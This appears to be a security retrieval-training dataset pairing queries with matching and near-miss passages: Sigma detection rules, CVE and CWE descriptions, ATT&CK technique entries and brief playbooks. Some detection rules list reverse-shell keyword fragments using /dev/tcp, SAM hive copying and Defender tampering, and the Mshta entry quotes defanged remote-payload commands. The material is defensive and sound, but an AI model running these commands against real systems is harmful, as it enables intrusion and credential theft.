alirezaaminzadeh/secembed-pairs huggingface dataset:
Query: alert when Detects a suspicious child process of Script Event Consumer (scrcons.exe).
Matching passage: Sigma rule: Detects a suspicious child process of Script Event Consumer (scrcons.exe).. Logsource: windows / process_creation. Rule: title: Script Event Consumer Spawning Process id: f6d1dd2f-b8ce-40ca-bc23-062efb686b34 status: test description: Detects a suspicious child process of Script Event Consumer (scrcons.exe). references: - https://redcanary.com/blog/child-processes/ - https://docs.paloaltonetworks.com/cortex/cortex-xdr/cortex-xdr-analytics-alert-reference/cortex-xdr-analytics-alert-reference/scrcons-exe-rare-child-process.html author: Sittikorn S date: 2021-06-21 modified: 2022-07-14 tags: - attack.execution - attack.t1047 logsource: category: process_creation product: windows detection: selection: ParentImage|endswith: \scrcons.exe Image|endswith: - \svchost.exe - \dllhost.exe - \powershell.exe - \pwsh.exe - \wscript.exe - \cscript.exe - \schtasks.exe - \regsvr32.exe - \mshta.exe - \rundll32.exe - \msiexec.exe - \msbuild.exe condition: selection falsepositives: - Unknown level: high
Near-miss passage: Sigma rule: Detects suspicious invocation of the Get-ADDBAccount script that reads from a ntds.dit file and may be used to get acces. Logsource: windows / ps_module. Rule: title: Suspicious Get-ADDBAccount Usage id: b140afd9-474b-4072-958e-2ebb435abd68 status: test description: Detects suspicious invocation of the Get-ADDBAccount script that reads from a ntds.dit file and may be used to get access to credentials without using any credential dumpers references: - https://www.n00py.io/2022/03/manipulating-user-passwords-without-mimikatz/ - https://github.com/MichaelGrafnetter/DSInternals/blob/7ba59c12ee9a1cb430d7dc186a3366842dd612c8/Documentation/PowerShell/Get-ADDBAccount.md author: Florian Roth (Nextron Systems) date: 2022-03-16 tags: - attack.credential-access - attack.t1003.003 logsource: product: windows category: ps_module definition: 0ad03ef1-f21b-4a79-8ce8-e6900c54b65b detection: selection: Payload|contains|all: - Get-ADDBAccount - 'BootKey ' - 'DatabasePath ' condition: selection falsepositives: - Unknown level: high
Query: describe CVE-2015-2962
Matching passage: CVE-2015-2962. CWE: CWE-20. CVSS: 7.5. CGI RESCUE BloBee 1.20 and earlier allows remote attackers to write to arbitrary files, and consequently execute arbitrary code, via unspecified vectors.
Near-miss passage: CVE-2015-7231. CWE: CWE-20. CVSS: 5.0. The Commerce Commonwealth (CBA) module 7.x-1.x before 7.x-1.5 for Drupal does not properly validate payments, which allows remote attackers to make a failed payment appear valid via a crafted URL, related to a "response from commweb."
Query: explain CWE-1357
Matching passage: CWE-1357 Reliance on Insufficiently Trustworthy Component. The product is built from multiple separate components, but it uses a component that is not sufficiently trusted to meet expectations for security, reliability, updateability, and maintainability.
Near-miss passage: CWE-316 Cleartext Storage of Sensitive Information in Memory. The product stores sensitive information in cleartext in memory.
Query: Encoded PowerShell / command-line abuse matching Scheduled Transfer
Matching passage: T1029 Scheduled Transfer. Tactics: exfiltration. Description: Adversaries may schedule data exfiltration to be performed only at certain times of day or at certain intervals. This could be done to blend traffic patterns with normal activity or availability. When scheduled exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over C2 Channel](https://attack.mitre.org/techniques/T1041) or [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048).
Near-miss passage: T1041 Exfiltration Over C2 Channel. Tactics: exfiltration. Description: Adversaries may steal data by exfiltrating it over an existing command and control channel. Stolen data is encoded into the normal communications channel using the same protocol as command and control communications.
Query: incident response steps for Outbound C2 pattern associated with Disable or Modify Cloud Log
Matching passage: Playbook for T1685.002 Disable or Modify Cloud Log. 1) Validate alert telemetry against T1685.002. 2) Scope affected hosts and accounts. 3) Contain by isolating endpoint / disabling account if confirmed. 4) Hunt for related tactics: defense impairment. 5) Eradicate persistence and recover. Reference detection notes: An adversary may disable or modify cloud logging capabilities and integrations to limit what data is collected on their activities and avoid detection. Cloud environments allow for collection and analysis of audit and application logs that provide insight into what activities a user does within the environment. If an adversary has sufficient permissions, they can disable or modify logging to avoid
Near-miss passage: Playbook for T1685.001 Disable or Modify Windows Event Log. Different response path focused on defense impairment.
Query: write Sigma for Detects PowerShell scripts set ACL to of a file or a folder
Matching passage: Sigma rule: Detects PowerShell scripts set ACL to of a file or a folder. Logsource: windows / ps_script. Rule: title: PowerShell Script Change Permission Via Set-Acl - PsScript id: cae80281-ef23-44c5-873b-fd48d2666f49 related: - id: 0944e002-e3f6-4eb5-bf69-3a3067b53d73 type: derived - id: bdeb2cff-af74-4094-8426-724dc937f20a type: derived - id: 3bf1d859-3a7e-44cb-8809-a99e066d3478 type: derived status: test description: Detects PowerShell scripts set ACL to of a file or a folder references: - https://github.com/redcanaryco/atomic-red-team/blob/74438b0237d141ee9c99747976447dc884cb1a39/atomics/T1505.005/T1505.005.md author: frack113, Nasreddine Bencherchali (Nextron Systems) date: 2023-07-18 tags: - attack.defense-impairment - attack.t1222 logsource: product: windows category: ps_script definition: bade5735-5ab0-4aa7-a642-a11be0e40872 detection: selection: ScriptBlockText|contains|all: - 'Set-Acl ' - '-AclObject ' - '-Path ' condition: selection falsepositives: - Unknown level: low
Near-miss passage: Sigma rule: Detects suspicious command with /dev/tcp. Logsource: linux. Rule: title: Suspicious Use of /dev/tcp id: 6cc5fceb-9a71-4c23-aeeb-963abe0b279c status: test description: Detects suspicious command with /dev/tcp references: - https://www.andreafortuna.org/2021/03/06/some-useful-tips-about-dev-tcp/ - https://book.hacktricks.xyz/shells/shells/linux - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1046/T1046.md#atomic-test-1---port-scan author: frack113 date: 2021-12-10 modified: 2023-01-06 tags: - attack.reconnaissance logsource: product: linux detection: keywords: - cat </dev/tcp/ - exec 3<>/dev/tcp/ - echo >/dev/tcp/ - bash -i >& /dev/tcp/ - sh -i >& /dev/udp/ - 0<&196;exec 196<>/dev/tcp/ - exec 5<>/dev/tcp/ - (sh)0>/dev/tcp/ - bash -c 'bash -i >& /dev/tcp/ - echo -e '#!/bin/bash\nbash -i >& /dev/tcp/ condition: keywords falsepositives: - Unknown level: medium
Query: CVE similar to CVE-2015-1071
Matching passage: CVE-2015-1071. CWE: CWE-399. CVSS: 6.800000190734863. WebKit, as used in Apple Safari before 6.2.4, 7.x before 7.1.4, and 8.x before 8.0.4, allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via a crafted web site, a different vulnerability than other CVEs listed in APPLE-SA-2015-03-17-1.
Near-miss passage: CVE-2015-8087. CWE: CWE-399. CVSS: 5.0. Huawei NE20E-S, NE40E-M, and NE40E-M2 routers with software before V800R007C10SPC100 and NE40E and NE80E routers with software before V800R007C00SPC100 allows remote attackers to send packets to other VPNs and conduct flooding attacks via a crafted MPLS forwarding packet, aka a "VPN routing and forwarding (VRF) hopping vulnerability."
Query: alert when Detects the usage of "hh.exe" to execute/download remotely hosted ".chm" files.
Matching passage: Sigma rule: Detects the usage of "hh.exe" to execute/download remotely hosted ".chm" files.. Logsource: windows / process_creation. Rule: title: Remote CHM File Download/Execution Via HH.EXE id: f57c58b3-ee69-4ef5-9041-455bf39aaa89 status: test description: Detects the usage of "hh.exe" to execute/download remotely hosted ".chm" files. references: - https://www.splunk.com/en_us/blog/security/follina-for-protocol-handlers.html - https://github.com/redcanaryco/atomic-red-team/blob/1cf4dd51f83dcb0ebe6ade902d6157ad2dbc6ac8/atomics/T1218.001/T1218.001.md - https://www.zscaler.com/blogs/security-research/unintentional-leak-glimpse-attack-vectors-apt37 author: Nasreddine Bencherchali (Nextron Systems) date: 2022-09-29 modified: 2024-01-31 tags: - attack.stealth - attack.t1218.001 logsource: category: process_creation product: windows detection: selection_img: - OriginalFileName: HH.exe - Image|endswith: \hh.exe selection_cli: CommandLine|contains: - http:// - https:// - \\\\ condition: all of selection_* falsepositives: - Unknown level: high
Near-miss passage: Sigma rule: Detects suspicious PowerShell scripts accessing SAM hives. Logsource: windows / process_creation. Rule: title: PowerShell SAM Copy id: 1af57a4b-460a-4738-9034-db68b880c665 status: test description: Detects suspicious PowerShell scripts accessing SAM hives references: - https://twitter.com/splinter_code/status/1420546784250769408 author: Florian Roth (Nextron Systems) date: 2021-07-29 modified: 2023-01-06 tags: - attack.credential-access - attack.t1003.002 logsource: category: process_creation product: windows detection: selection_1: CommandLine|contains|all: - \HarddiskVolumeShadowCopy - System32\config\sam selection_2: CommandLine|contains: - Copy-Item - cp $_. - cpi $_. - copy $_. - .File]::Copy( condition: all of selection* falsepositives: - Some rare backup scenarios - PowerShell scripts fixing HiveNightmare / SeriousSAM ACLs level: high
Query: explain CWE-1342
Matching passage: CWE-1342 Information Exposure through Microarchitectural State after Transient Execution. The processor does not properly clear microarchitectural state after incorrect microcode assists or speculative execution, resulting in transient execution.
Near-miss passage: CWE-1122 Excessive Halstead Complexity. The code is structured in a way that a Halstead complexity measure exceeds a desirable maximum.
Query: CVE similar to CVE-2015-7996
Matching passage: CVE-2015-7996. CWE: CWE-200. CVSS: 5.0. The Nitro API in Citrix NetScaler Application Delivery Controller (ADC) and NetScaler Gateway before 10.1 Build 133.9, 10.5 before Build 58.11, and 10.5.e before Build 56.1505.e on NetScaler Service Delivery Appliance Service VM (SVM) devices allow attackers to obtain credentials via the browser cache.
Near-miss passage: CVE-2015-4214. CWE: CWE-200. CVSS: 4.0. Cisco Unified MeetingPlace 8.6(1.2) and 8.6(1.9) allows remote authenticated users to discover cleartext passwords by reading HTML source code, aka Bug ID CSCuu33050.
Query: vulnerability: Multiple cross-site scripting (XSS) vulnerabilities in admin.php in ferretCMS 1.0.4-alpha allow remote attackers to inject arbitrary web script or HTML via the (1) action parameter
Matching passage: CVE-2015-1373. CWE: CWE-79. CVSS: 4.300000190734863. Multiple cross-site scripting (XSS) vulnerabilities in admin.php in ferretCMS 1.0.4-alpha allow remote attackers to inject arbitrary web script or HTML via the (1) action parameter in a search request, (2) username in a login request, which is not properly handled when logging the event, or (3) page title in an insert action.
Near-miss passage: CVE-2015-5347. CWE: CWE-79. CVSS: 6.099999904632568. Cross-site scripting (XSS) vulnerability in the getWindowOpenJavaScript function in org.apache.wicket.extensions.ajax.markup.html.modal.ModalWindow in Apache Wicket 1.5.x before 1.5.15, 6.x before 6.22.0, and 7.x before 7.2.0 might allow remote attackers to inject arbitrary web script or HTML via a ModalWindow title.
Query: alert when Detects the use of Jlaive to execute assemblies in a copied PowerShell
Matching passage: Sigma rule: Detects the use of Jlaive to execute assemblies in a copied PowerShell. Logsource: windows / process_creation. Rule: title: HackTool - Jlaive In-Memory Assembly Execution id: 0a99eb3e-1617-41bd-b095-13dc767f3def status: test description: Detects the use of Jlaive to execute assemblies in a copied PowerShell references: - https://jstnk9.github.io/jstnk9/research/Jlaive-Antivirus-Evasion-Tool - https://web.archive.org/web/20220514073704/https://github.com/ch2sh/Jlaive author: Jose Luis Sanchez Martinez (@Joseliyo_Jstnk) date: 2022-05-24 modified: 2023-02-22 tags: - attack.execution - attack.t1059.003 logsource: product: windows category: process_creation detection: parent_selection: ParentImage|endswith: \cmd.exe ParentCommandLine|endswith: .bat selection1: Image|endswith: \xcopy.exe CommandLine|contains|all: - powershell.exe - .bat.exe selection2: Image|endswith: \xcopy.exe CommandLine|contains|all: - pwsh.exe - .bat.exe selection3: Image|endswith: \attrib.exe CommandLine|contains|all: - +s - +h - .bat.exe condition: parent_selection and (1 of selection*) falsepositives: - Unknown level: medium
Near-miss passage: Sigma rule: Detects attempts to remove Windows Defender configurations using the 'MpPreference' cmdlet. Logsource: windows / process_creation. Rule: title: Tamper Windows Defender Remove-MpPreference id: 07e3cb2c-0608-410d-be4b-1511cb1a0448 related: - id: ae2bdd58-0681-48ac-be7f-58ab4e593458 type: similar status: test description: Detects attempts to remove Windows Defender configurations using the 'MpPreference' cmdlet references: - https://techcommunity.microsoft.com/t5/core-infrastructure-and-security/windows-10-controlled-folder-access-event-search/ba-p/2326088 author: Nasreddine Bencherchali (Nextron Systems) date: 2022-08-05 tags: - attack.defense-impairment - attack.t1685 logsource: product: windows category: process_creation detection: selection_remove: CommandLine|contains: Remove-MpPreference selection_tamper: CommandLine|contains: - '-ControlledFolderAccessProtectedFolders ' - '-AttackSurfaceReductionRules_Ids ' - '-AttackSurfaceReductionRules_Actions ' - '-CheckForSignaturesBeforeRunningScan ' condition: all of selection_* falsepositives: - Legitimate PowerShell scripts level: high
Query: CVE similar to CVE-2015-0372
Matching passage: CVE-2015-0372. CWE: UNKNOWN. CVSS: 5.0. Unspecified vulnerability in the Oracle Containers for J2EE component in Oracle Fusion Middleware 10.1.3.5 allows remote attackers to affect confidentiality via unknown vectors.
Near-miss passage: CVE-2015-0326. CWE: UNKNOWN. CVSS: 10.0. Adobe Flash Player before 13.0.0.269 and 14.x through 16.x before 16.0.0.305 on Windows and OS X and before 11.2.202.442 on Linux allows attackers to cause a denial of service (NULL pointer dereference) or possibly have unspecified other impact via unknown vectors, a different vulnerability than CVE-2015-0325 and CVE-2015-0328.
Query: stealth using CMSTP
Matching passage: T1218.003 CMSTP. Tactics: stealth. Description: Adversaries may abuse CMSTP to proxy execution of malicious code. The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles. (Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections. Adversaries may supply CMSTP.exe with INF files infected with malicious commands. (Citation: Twitter CMSTP Usage Jan 2018) Similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010) / ”Squiblydoo”, CMSTP.exe may be abused to load and execute DLLs (Citation: MSitPros CMSTP Aug 2017) and/or COM scriptlets (SCT) from remote servers. (Citation: Twitter CMSTP Jan 2018) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) This execution may also bypass AppLocker and other application control defenses since CMSTP.exe is a legitimate binary that may be signed by Microsoft. CMSTP.exe can also be abused to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) and execute arbitrary commands from a malicious INF through an auto-elevated COM interface. (Citation: MSitPros CMSTP Aug 2017) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018)
Near-miss passage: T1218.005 Mshta. Tactics: stealth. Description: Adversaries may abuse mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017) Mshta.exe is a utility that executes Microsoft HTML Applications (HTA) files. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications) Files may be executed by mshta.exe through an inline script: <code>mshta vbscript:Close(Execute("GetObject(""script:https[:]//webserver/payload[.]sct"")"))</code> They may also be executed directly from URLs: <code>mshta http[:]//webserver/payload[.]hta</code> Mshta.exe can be used to bypass application control solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. (Citation: LOLBAS Mshta)
Query: describe CVE-2015-6412
Matching passage: CVE-2015-6412. CWE: CWE-255. CVSS: 9.800000190734863. Cisco Modular Encoding Platform D9036 Software before 02.04.70 has hardcoded (1) root and (2) guest passwords, which makes it easier for remote attackers to obtain access via an SSH session, aka Bug ID CSCut88070.
Near-miss passage: CVE-2015-9240. CWE: CWE-255. CVSS: 7.5. Due to a bug in the the default sign in functionality in the keystone node module before 0.3.16, incomplete email addresses could be matched. A correct password is still required to complete sign in.
Query: Sigma YAML for windows / process_creation
Matching passage: Sigma rule: Detects usage of winget to add new potentially suspicious download sources. Logsource: windows / process_creation. Rule: title: Add Potential Suspicious New Download Source To Winget id: c15a46a0-07d4-4c87-b4b6-89207835a83b related: - id: 05ebafc8-7aa2-4bcd-a269-2aec93f9e842 type: similar - id: 81a0ecb5-0a41-4ba1-b2ba-c944eb92bfa2 type: similar status: test description: Detects usage of winget to add new potentially suspicious download sources references: - https://learn.microsoft.com/en-us/windows/package-manager/winget/source - https://github.com/nasbench/Misc-Research/tree/b9596e8109dcdb16ec353f316678927e507a5b8d/LOLBINs/Winget author: Nasreddine Bencherchali (Nextron Systems) date: 2023-04-17 modified: 2023-12-04 tags: - attack.execution - attack.t1059 logsource: category: process_creation product: windows detection: selection_img: - Image|endswith: \winget.exe - OriginalFileName: winget.exe selection_cli: CommandLine|contains|all: - 'source ' - 'add ' selection_source_direct_ip: CommandLine|re: ://\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3} condition: all of selection_* falsepositives: - Unknown level: medium
Near-miss passage: Sigma rule: Detects Obfuscated use of Environment Variables to execute PowerShell. Logsource: windows / system. Rule: title: Invoke-Obfuscation VAR+ Launcher - System id: 8ca7004b-e620-4ecb-870e-86129b5b8e75 status: test description: Detects Obfuscated use of Environment Variables to execute PowerShell references: - https://github.com/SigmaHQ/sigma/issues/1009 author: Jonathan Cheong, oscd.community date: 2020-10-15 modified: 2022-11-29 tags: - attack.stealth - attack.t1027 - attack.execution - attack.t1059.001 logsource: product: windows service: system detection: selection: Provider_Name: Service Control Manager EventID: 7045 ImagePath|contains|all: - cmd - '"set' - -f ImagePath|contains: - /c - /r condition: selection falsepositives: - Unknown level: high
Query: patch priority for CVE-2015-7861
Matching passage: CVE-2015-7861. CWE: CWE-264. CVSS: 10.0. Persistent Accelerite Radia Client Automation (formerly HP Client Automation), possibly before 9.1, allows remote attackers to execute arbitrary code by sending unspecified commands in an environment that lacks relationship-based firewalling.
Near-miss passage: CVE-2015-2560. CWE: CWE-264. CVSS: 9.800000190734863. Manage Engine Desktop Central 9 before build 90135 allows remote attackers to change passwords of users with the Administrator role via an addOrModifyUser operation to servlets/DCOperationsServlet.
Query: patch priority for CVE-2015-8664
Matching passage: CVE-2015-8664. CWE: CWE-189. CVSS: 8.800000190734863. Integer overflow in the WebCursor::Deserialize function in content/common/cursors/webcursor.cc in Google Chrome before 47.0.2526.106 allows remote attackers to cause a denial of service or possibly have unspecified other impact via an RGBA pixel array with crafted dimensions, a different vulnerability than CVE-2015-6792.
Near-miss passage: CVE-2015-3808. CWE: CWE-189. CVSS: 7.800000190734863. The dissect_lbmr_pser function in epan/dissectors/packet-lbmr.c in the LBMR dissector in Wireshark 1.12.x before 1.12.5 does not reject a zero length, which allows remote attackers to cause a denial of service (infinite loop) via a crafted packet.
Query: explain T1601 Modify System Image
Matching passage: T1601 Modify System Image. Tactics: defense impairment. Description: Adversaries may make changes to the operating system of embedded network devices to weaken defenses and provide new capabilities for themselves. On such devices, the operating systems are typically monolithic and most of the device functionality and capabilities are contained within a single file. To change the operating system, the adversary typically only needs to affect this one file, replacing or modifying it. This can either be done live in memory during system runtime for immediate effect, or in storage to implement the change on the next boot of the network device.
Near-miss passage: T1601.002 Downgrade System Image. Tactics: defense impairment. Description: Adversaries may install an older version of the operating system of a network device to weaken security. Older operating system versions on network devices often have weaker encryption ciphers and, in general, fewer/less updated defensive features. (Citation: Cisco Synful Knock Evolution) On embedded devices, downgrading the version typically only requires replacing the operating system file in storage. With most embedded devices, this can be achieved by downloading a copy of the desired version of the operating system file and reconfiguring the device to boot from that file on next system restart. The adversary could then restart the device to implement the change immediately or they could wait until the next time the system restarts. Downgrading the system image to an older versions may allow an adversary to evade defenses by enabling behaviors such as [Weaken Encryption](https://attack.mitre.org/techniques/T1600). Downgrading of a system image can be done on its own, or it can be used in conjunction with [Patch System Image](https://attack.mitre.org/techniques/T1601/001).